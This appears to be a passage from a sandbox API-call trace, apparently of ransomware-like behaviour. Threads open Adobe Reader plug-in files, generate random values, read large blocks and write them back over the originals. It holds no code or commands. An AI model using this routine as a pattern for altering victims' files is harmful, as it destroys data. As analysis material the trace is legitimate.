	[0094.282] RtlRandom (in: Seed=0x2f63f890 | out: Seed=0x2f63f890) returned 0x71fe6b0b
	[0094.282] RtlRandom (in: Seed=0x2f63f890 | out: Seed=0x2f63f890) returned 0x110b5c56
	[0094.282] RtlRandom (in: Seed=0x2f63f890 | out: Seed=0x2f63f890) returned 0x989e850d
	[0094.282] RtlRandom (in: Seed=0x2f63f890 | out: Seed=0x2f63f890) returned 0x37eaf2bc
	[0094.282] RtlRandom (in: Seed=0x2f63f890 | out: Seed=0x2f63f890) returned 0x569b70c5
	[0094.282] RtlRandom (in: Seed=0x2f63f890 | out: Seed=0x2f63f890) returned 0xfa53e1a3
	[0094.282] RtlRandom (in: Seed=0x2f63f890 | out: Seed=0x2f63f890) returned 0x258b5ae8
	[0094.282] RtlRandom (in: Seed=0x2f63f890 | out: Seed=0x2f63f890) returned 0xed4c7535
	[0094.282] RtlRandom (in: Seed=0x2f63f890 | out: Seed=0x2f63f890) returned 0x55a9014b
	[0094.282] RtlRandom (in: Seed=0x2f63f890 | out: Seed=0x2f63f890) returned 0x288a805e
	[0094.282] RtlRandom (in: Seed=0x2f63f890 | out: Seed=0x2f63f890) returned 0x1d8c902
	[0094.282] RtlRandom (in: Seed=0x2f63f890 | out: Seed=0x2f63f890) returned 0xb87bfdb1
	[0094.282] RtlRandom (in: Seed=0x2f63f890 | out: Seed=0x2f63f890) returned 0xf6ae4782
	[0094.282] RtlRandom (in: Seed=0x2f63f890 | out: Seed=0x2f63f890) returned 0xea8349
	[0094.282] RtlRandom (in: Seed=0x2f63f890 | out: Seed=0x2f63f890) returned 0x406bd27a
	[0094.282] RtlRandom (in: Seed=0x2f63f890 | out: Seed=0x2f63f890) returned 0xe089670c
	[0094.291] ReadFile (in: hFile=0xf68, lpBuffer=0x5072868, nNumberOfBytesToRead=0xb263, lpNumberOfBytesRead=0x2f63f880, lpOverlapped=0x0 | out: lpBuffer=0x5072868*, lpNumberOfBytesRead=0x2f63f880*=0xb263, lpOverlapped=0x0) returned 1
	[0094.363] SetFilePointerEx (in: hFile=0xf68, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0094.363] WriteFile (hFile=0xf68, lpBuffer=0x507f070, nNumberOfBytesToWrite=0xb263, lpNumberOfBytesWritten=0x2f63f87c, lpOverlapped=0x0) 

Thread:
	id = 1387
	os_tid = 0x21cc

	[0094.059] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\EScript.api" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\plug_ins\\escript.api")) returned 0x20
	[0094.059] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\EScript.api", dwFileAttributes=0x20) returned 1
	[0094.059] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\EScript.api" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\plug_ins\\escript.api"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xf64
	[0094.059] GetFileSizeEx (in: hFile=0xf64, lpFileSize=0x2f6bfd80 | out: lpFileSize=0x2f6bfd80*=2621539) returned 1
	[0094.059] SetFilePointerEx (in: hFile=0xf64, liDistanceToMove=0x28005f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0094.059] ReadFile (in: hFile=0xf64, lpBuffer=0x2f6bfd04, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2f6bfd00, lpOverlapped=0x0 | out: lpBuffer=0x2f6bfd04*, lpNumberOfBytesRead=0x2f6bfd00*=0x4, lpOverlapped=0x0) returned 1
	[0094.239] SetFilePointerEx (in: hFile=0xf64, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0094.239] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d88aa8
	[0094.239] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d888c8
	[0094.239] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d886c0
	[0094.239] NtQuerySystemTime (in: CurrentTime=0x2f6bfce0 | out: CurrentTime=0x2f6bfce0*=132251868209783889) returned 0x0
	[0094.239] RtlRandom (in: Seed=0x2f6bfcec | out: Seed=0x2f6bfcec) returned 0xf9a62dfe
	[0094.239] RtlRandom (in: Seed=0x2f6bfcec | out: Seed=0x2f6bfcec) returned 0x69819a46
	[0094.240] RtlRandom (in: Seed=0x2f6bfcec | out: Seed=0x2f6bfcec) returned 0x2627faa1
	[0094.240] RtlRandom (in: Seed=0x2f6bfcec | out: Seed=0x2f6bfcec) returned 0xd575e651
	[0094.240] RtlRandom (in: Seed=0x2f6bfcec | out: Seed=0x2f6bfcec) returned 0xb923d0e3
	[0094.240] RtlRandom (in: Seed=0x2f6bfcec | out: Seed=0x2f6bfcec) returned 0x6893412f
	[0094.240] RtlRandom (in: Seed=0x2f6bfcec | out: Seed=0x2f6bfcec) returned 0xb7723a6f
	[0094.240] RtlRandom (in: Seed=0x2f6bfcec | out: Seed=0x2f6bfcec) returned 0xfbe93b2f
	[0094.240] RtlRandom (in: Seed=0x2f6bfcec | out: Seed=0x2f6bfcec) returned 0x271e2b0
	[0094.240] RtlRandom (in: Seed=0x2f6bfcec | out: Seed=0x2f6bfcec) returned 0x327167d6
	[0094.240] RtlRandom (in: Seed=0x2f6bfcec | out: Seed=0x2f6bfcec) returned 0xb8ee2ac1
	[0094.240] RtlRandom (in: Seed=0x2f6bfcec | out: Seed=0x2f6bfcec) returned 0x7417bddf
	[0094.240] RtlRandom (in: Seed=0x2f6bfcec | out: Seed=0x2f6bfcec) returned 0x6752a653
	[0094.240] RtlRandom (in: Seed=0x2f6bfcec | out: Seed=0x2f6bfcec) returned 0xd678d7b2
	[0094.240] RtlRandom (in: Seed=0x2f6bfcec | out: Seed=0x2f6bfcec) returned 0x899c503c
	[0094.240] RtlRandom (in: Seed=0x2f6bfcec | out: Seed=0x2f6bfcec) returned 0x358b4d95
	[0094.240] RtlRandom (in: Seed=0x2f6bfcec | out: Seed=0x2f6bfcec) returned 0xabed7ade
	[0094.240] RtlRandom (in: Seed=0x2f6bfcec | out: Seed=0x2f6bfcec) returned 0x13ac3745
	[0094.240] RtlRandom (in: Seed=0x2f6bfcec | out: Seed=0x2f6bfcec) returned 0x20bb205
	[0094.240] RtlRandom (in: Seed=0x2f6bfcec | out: Seed=0x2f6bfcec) returned 0xc86b7c12
	[0094.240] RtlRandom (in: Seed=0x2f6bfcec | out: Seed=0x2f6bfcec) returned 0xd8d126fd
	[0094.240] RtlRandom (in: Seed=0x2f6bfcec | out: Seed=0x2f6bfcec) returned 0xab8dfc43
	[0094.240] RtlRandom (in: Seed=0x2f6bfcec | out: Seed=0x2f6bfcec) returned 0x665a256
	[0094.240] RtlRandom (in: Seed=0x2f6bfcec | out: Seed=0x2f6bfcec) returned 0xeb6d7058
	[0094.240] RtlRandom (in: Seed=0x2f6bfcec | out: Seed=0x2f6bfcec) returned 0x756a9098
	[0094.240] RtlRandom (in: Seed=0x2f6bfcec | out: Seed=0x2f6bfcec) returned 0xd117335
	[0094.240] RtlRandom (in: Seed=0x2f6bfcec | out: Seed=0x2f6bfcec) returned 0x200a6422
	[0094.240] RtlRandom (in: Seed=0x2f6bfcec | out: Seed=0x2f6bfcec) returned 0x1437fa40
	[0094.240] RtlRandom (in: Seed=0x2f6bfcec | out: Seed=0x2f6bfcec) returned 0x1b107f14
	[0094.240] RtlRandom (in: Seed=0x2f6bfcec | out: Seed=0x2f6bfcec) returned 0xa9b07166
	[0094.240] RtlRandom (in: Seed=0x2f6bfcec | out: Seed=0x2f6bfcec) returned 0x55ba3f8d
	[0094.240] RtlRandom (in: Seed=0x2f6bfcec | out: Seed=0x2f6bfcec) returned 0x1e7da411
	[0094.249] SetFilePointerEx (in: hFile=0xf64, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0094.249] ReadFile (in: hFile=0xf64, lpBuffer=0x48a2060, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x2f6bfc98, lpOverlapped=0x0 | out: lpBuffer=0x48a2060*, lpNumberOfBytesRead=0x2f6bfc98*=0xc800, lpOverlapped=0x0) returned 1
	[0094.348] SetFilePointerEx (in: hFile=0xf64, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0094.348] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfaf10
	[0094.348] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x4753368
	[0094.348] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d88d78
	[0094.348] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d88d78) returned 1
	[0094.349] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x496b830
	[0094.350] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d88b98
	[0094.350] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d88d50
	[0094.350] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d88d50) returned 1
	[0094.350] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4753368) returned 1
	[0094.350] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfaf10) returned 1
	[0094.350] WriteFile (hFile=0xf64, lpBuffer=0x496b830, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0x2f6bfc98, lpOverlapped=0x0) 

Thread:
	id = 1388
	os_tid = 0x21d0

	[0094.060] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\IA32.api" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\plug_ins\\ia32.api")) returned 0x20
	[0094.061] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\IA32.api", dwFileAttributes=0x20) returned 1
	[0094.061] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\IA32.api" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\plug_ins\\ia32.api"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xf60
	[0094.061] GetFileSizeEx (in: hFile=0xf60, lpFileSize=0x2f73fb28 | out: lpFileSize=0x2f73fb28*=109155) returned 1
	[0094.061] SetFilePointerEx (in: hFile=0xf60, liDistanceToMove=0x1aa5f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0094.061] ReadFile (in: hFile=0xf60, lpBuffer=0x2f73faac, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2f73faa8, lpOverlapped=0x0 | out: lpBuffer=0x2f73faac*, lpNumberOfBytesRead=0x2f73faa8*=0x4, lpOverlapped=0x0) returned 1
	[0094.228] SetFilePointerEx (in: hFile=0xf60, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0094.229] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4984e10
	[0094.229] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47830
	[0094.229] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d88968
	[0094.229] NtQuerySystemTime (in: CurrentTime=0x2f73fa88 | out: CurrentTime=0x2f73fa88*=132251868209627491) returned 0x0
	[0094.229] RtlRandom (in: Seed=0x2f73fa94 | out: Seed=0x2f73fa94) returned 0x190bf5d9
	[0094.229] RtlRandom (in: Seed=0x2f73fa94 | out: Seed=0x2f73fa94) returned 0x579666b
	[0094.229] RtlRandom (in: Seed=0x2f73fa94 | out: Seed=0x2f73fa94) returned 0x4271716
	[0094.229] RtlRandom (in: Seed=0x2f73fa94 | out: Seed=0x2f73fa94) returned 0x46e3a1c4
	[0094.229] RtlRandom (in: Seed=0x2f73fa94 | out: Seed=0x2f73fa94) returned 0x821d4433
	[0094.229] RtlRandom (in: Seed=0x2f73fa94 | out: Seed=0x2f73fa94) returned 0xe571ffc3
	[0094.229] RtlRandom (in: Seed=0x2f73fa94 | out: Seed=0x2f73fa94) returned 0xb85421f3
	[0094.229] RtlRandom (in: Seed=0x2f73fa94 | out: Seed=0x2f73fa94) returned 0xbe14e7c8
	[0094.229] RtlRandom (in: Seed=0x2f73fa94 | out: Seed=0x2f73fa94) returned 0xf1b589f6
	[0094.229] RtlRandom (in: Seed=0x2f73fa94 | out: Seed=0x2f73fa94) returned 0x67072cb
	[0094.229] RtlRandom (in: Seed=0x2f73fa94 | out: Seed=0x2f73fa94) returned 0xa9b1a609
	[0094.229] RtlRandom (in: Seed=0x2f73fa94 | out: Seed=0x2f73fa94) returned 0xc18ca2b6
	[0094.229] RtlRandom (in: Seed=0x2f73fa94 | out: Seed=0x2f73fa94) returned 0x801d5845
	[0094.229] RtlRandom (in: Seed=0x2f73fa94 | out: Seed=0x2f73fa94) returned 0xeb6cba29
	[0094.229] RtlRandom (in: Seed=0x2f73fa94 | out: Seed=0x2f73fa94) returned 0xed2f41e0
	[0094.229] RtlRandom (in: Seed=0x2f73fa94 | out: Seed=0x2f73fa94) returned 0xd0d3ddd0
	[0094.229] RtlRandom (in: Seed=0x2f73fa94 | out: Seed=0x2f73fa94) returned 0xc65bad24
	[0094.229] RtlRandom (in: Seed=0x2f73fa94 | out: Seed=0x2f73fa94) returned 0x46e78cd0
	[0094.229] RtlRandom (in: Seed=0x2f73fa94 | out: Seed=0x2f73fa94) returned 0x865b9d07
	[0094.229] RtlRandom (in: Seed=0x2f73fa94 | out: Seed=0x2f73fa94) returned 0x2f5c2331
	[0094.229] RtlRandom (in: Seed=0x2f73fa94 | out: Seed=0x2f73fa94) returned 0x17ba2e5d
	[0094.229] RtlRandom (in: Seed=0x2f73fa94 | out: Seed=0x2f73fa94) returned 0x843679c7
	[0094.229] RtlRandom (in: Seed=0x2f73fa94 | out: Seed=0x2f73fa94) returned 0xb4687aa0
	[0094.229] RtlRandom (in: Seed=0x2f73fa94 | out: Seed=0x2f73fa94) returned 0xa02474b8
	[0094.229] RtlRandom (in: Seed=0x2f73fa94 | out: Seed=0x2f73fa94) returned 0xf03bea5e
	[0094.229] RtlRandom (in: Seed=0x2f73fa94 | out: Seed=0x2f73fa94) returned 0x785c1ad8
	[0094.229] RtlRandom (in: Seed=0x2f73fa94 | out: Seed=0x2f73fa94) returned 0x61e414f9
	[0094.229] RtlRandom (in: Seed=0x2f73fa94 | out: Seed=0x2f73fa94) returned 0x1653be40
	[0094.230] RtlRandom (in: Seed=0x2f73fa94 | out: Seed=0x2f73fa94) returned 0x1f076909
	[0094.230] RtlRandom (in: Seed=0x2f73fa94 | out: Seed=0x2f73fa94) returned 0x998b9a7a
	[0094.230] RtlRandom (in: Seed=0x2f73fa94 | out: Seed=0x2f73fa94) returned 0x8589b6a5
	[0094.230] RtlRandom (in: Seed=0x2f73fa94 | out: Seed=0x2f73fa94) returned 0x2e604737
	[0094.239] SetFilePointerEx (in: hFile=0xf60, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0094.239] ReadFile (in: hFile=0xf60, lpBuffer=0x4895858, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x2f73fa68, lpOverlapped=0x0 | out: lpBuffer=0x4895858*, lpNumberOfBytesRead=0x2f73fa68*=0xc800, lpOverlapped=0x0) returned 1
	[0094.345] SetFilePointerEx (in: hFile=0xf60, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0094.345] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfae80
	[0094.345] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x4753368
	[0094.345] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d88d50
	[0094.345] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d88d50) returned 1
	[0094.346] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x495f028
	[0094.347] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d88d00
	[0094.347] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d88c88
	[0094.347] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d88c88) returned 1
	[0094.347] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4753368) returned 1
	[0094.347] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfae80) returned 1
	[0094.347] WriteFile (hFile=0xf60, lpBuffer=0x495f028, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0x2f73fa68, lpOverlapped=0x0) 

Thread:
	id = 1389
	os_tid = 0x21d4

	[0094.062] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\MakeAccessible.api" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\plug_ins\\makeaccessible.api")) returned 0x20
	[0094.063] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\MakeAccessible.api", dwFileAttributes=0x20) returned 1
	[0094.063] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\MakeAccessible.api" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\plug_ins\\makeaccessible.api"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x898
	[0094.063] GetFileSizeEx (in: hFile=0x898, lpFileSize=0x2f7bfed0 | out: lpFileSize=0x2f7bfed0*=2554467) returned 1
	[0094.063] SetFilePointerEx (in: hFile=0x898, liDistanceToMove=0x26fa5f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0094.063] ReadFile (in: hFile=0x898, lpBuffer=0x2f7bfe54, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2f7bfe50, lpOverlapped=0x0 | out: lpBuffer=0x2f7bfe54*, lpNumberOfBytesRead=0x2f7bfe50*=0x4, lpOverlapped=0x0) returned 1
	[0094.260] SetFilePointerEx (in: hFile=0x898, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0094.260] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d88aa8
	[0094.260] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d88968
	[0094.260] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d886c0
	[0094.261] NtQuerySystemTime (in: CurrentTime=0x2f7bfe30 | out: CurrentTime=0x2f7bfe30*=132251868209940189) returned 0x0
	[0094.261] RtlRandom (in: Seed=0x2f7bfe3c | out: Seed=0x2f7bfe3c) returned 0xd405fcf0
	[0094.261] RtlRandom (in: Seed=0x2f7bfe3c | out: Seed=0x2f7bfe3c) returned 0x1a032a9c
	[0094.261] RtlRandom (in: Seed=0x2f7bfe3c | out: Seed=0x2f7bfe3c) returned 0xbe3f18b7
	[0094.261] RtlRandom (in: Seed=0x2f7bfe3c | out: Seed=0x2f7bfe3c) returned 0x2097577f
	[0094.261] RtlRandom (in: Seed=0x2f7bfe3c | out: Seed=0x2f7bfe3c) returned 0x41d709a
	[0094.261] RtlRandom (in: Seed=0x2f7bfe3c | out: Seed=0x2f7bfe3c) returned 0x1dd60af3
	[0094.261] RtlRandom (in: Seed=0x2f7bfe3c | out: Seed=0x2f7bfe3c) returned 0x164d5376
	[0094.261] RtlRandom (in: Seed=0x2f7bfe3c | out: Seed=0x2f7bfe3c) returned 0xe041246d
	[0094.261] RtlRandom (in: Seed=0x2f7bfe3c | out: Seed=0x2f7bfe3c) returned 0xd8f6de73
	[0094.261] RtlRandom (in: Seed=0x2f7bfe3c | out: Seed=0x2f7bfe3c) returned 0x1e6ea687
	[0094.261] RtlRandom (in: Seed=0x2f7bfe3c | out: Seed=0x2f7bfe3c) returned 0xbceab39e
	[0094.261] RtlRandom (in: Seed=0x2f7bfe3c | out: Seed=0x2f7bfe3c) returned 0x8c91fc3a
	[0094.261] RtlRandom (in: Seed=0x2f7bfe3c | out: Seed=0x2f7bfe3c) returned 0x32c2d6ec
	[0094.261] RtlRandom (in: Seed=0x2f7bfe3c | out: Seed=0x2f7bfe3c) returned 0x1c07baf5
	[0094.261] RtlRandom (in: Seed=0x2f7bfe3c | out: Seed=0x2f7bfe3c) returned 0xfb4164b6
	[0094.261] RtlRandom (in: Seed=0x2f7bfe3c | out: Seed=0x2f7bfe3c) returned 0x34b58232
	[0094.261] RtlRandom (in: Seed=0x2f7bfe3c | out: Seed=0x2f7bfe3c) returned 0x20017ad0
	[0094.261] RtlRandom (in: Seed=0x2f7bfe3c | out: Seed=0x2f7bfe3c) returned 0x43c66701
	[0094.261] RtlRandom (in: Seed=0x2f7bfe3c | out: Seed=0x2f7bfe3c) returned 0xf4de2ec
	[0094.261] RtlRandom (in: Seed=0x2f7bfe3c | out: Seed=0x2f7bfe3c) returned 0xdf395da2
	[0094.261] RtlRandom (in: Seed=0x2f7bfe3c | out: Seed=0x2f7bfe3c) returned 0x5cec84c
	[0094.261] RtlRandom (in: Seed=0x2f7bfe3c | out: Seed=0x2f7bfe3c) returned 0x77cdbbd
	[0094.261] RtlRandom (in: Seed=0x2f7bfe3c | out: Seed=0x2f7bfe3c) returned 0xb7c30007
	[0094.261] RtlRandom (in: Seed=0x2f7bfe3c | out: Seed=0x2f7bfe3c) returned 0x7fd9c7b2
	[0094.261] RtlRandom (in: Seed=0x2f7bfe3c | out: Seed=0x2f7bfe3c) returned 0x85cc10be
	[0094.261] RtlRandom (in: Seed=0x2f7bfe3c | out: Seed=0x2f7bfe3c) returned 0xb2754239
	[0094.261] RtlRandom (in: Seed=0x2f7bfe3c | out: Seed=0x2f7bfe3c) returned 0xf2eb9fcc
	[0094.261] RtlRandom (in: Seed=0x2f7bfe3c | out: Seed=0x2f7bfe3c) returned 0x393af566
	[0094.261] RtlRandom (in: Seed=0x2f7bfe3c | out: Seed=0x2f7bfe3c) returned 0xab0af59e
	[0094.261] RtlRandom (in: Seed=0x2f7bfe3c | out: Seed=0x2f7bfe3c) returned 0xf94b1616
	[0094.261] RtlRandom (in: Seed=0x2f7bfe3c | out: Seed=0x2f7bfe3c) returned 0x180282bc
	[0094.261] RtlRandom (in: Seed=0x2f7bfe3c | out: Seed=0x2f7bfe3c) returned 0xb44afcb6
	[0094.270] SetFilePointerEx (in: hFile=0x898, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0094.270] ReadFile (in: hFile=0x898, lpBuffer=0x5059858, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x2f7bfde8, lpOverlapped=0x0 | out: lpBuffer=0x5059858*, lpNumberOfBytesRead=0x2f7bfde8*=0xc800, lpOverlapped=0x0) returned 1
	[0094.352] SetFilePointerEx (in: hFile=0x898, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0094.353] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfaf10
	[0094.353] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x4753368
	[0094.353] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d88d78
	[0094.353] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d88d78) returned 1
	[0094.353] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x481f010
	[0094.358] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d88be8
	[0094.358] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d88d50
	[0094.358] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d88d50) returned 1
	[0094.358] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4753368) returned 1
	[0094.358] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfaf10) returned 1
	[0094.359] WriteFile (hFile=0x898, lpBuffer=0x481f010, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0x2f7bfde8, lpOverlapped=0x0) 

Thread:
	id = 1390
	os_tid = 0x21d8

	[0094.064] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x98) returned 0x4894e60
	[0094.065] wcscpy (in: _Dest=0x4894e60, _Source="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\Multimedia" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\Multimedia") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\Multimedia"
	[0094.065] wcscat (in: _Dest=0x4894e60, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\Multimedia\\") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\Multimedia\\"
	[0094.065] wcscat (in: _Dest=0x4894e60, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\Multimedia\\*") returned="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\Multimedia\\*"
	[0094.065] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x4710f30
	[0094.065] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\plug_ins\\Multimedia\\*", lpFindFileData=0x4710f30 | out: lpFindFileData=0x4710f30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3425a337, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x3425a337, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x3425a337, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x46a7e58
	[0094.065] wcscmp (_String1=".", _String2=".") returned 0
	[0094.065] FindNextFileW (in: hFindFile=0x46a7e58, lpFindFileData=0x4710f30 | out: lpFindFileData=0x4710f30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3425a337, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x3425a337, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x3425a337, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0094.065] wcscmp (_String1="..", _String2=".") returned 1
	[0094.065] wcscmp (_String1="..", _String2="..") returned 0
	[0094.065] FindNextFileW (in: hFindFile=0x46a7e58, lpFindFileData=0x4710f30 | out: lpFindFileData=0x4710f30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3425a337, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x1bbd210b, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0x1bbd210b, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MPP", cAlternateFileName="")) returned 1
	[0094.066] wcscmp (_String1="MPP", _String2=".") returned 1
	[0094.066] wcscmp (_String1="MPP", _String2="..") returned 1
	[0094.066] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x9c) returned 0x2d7f1c0
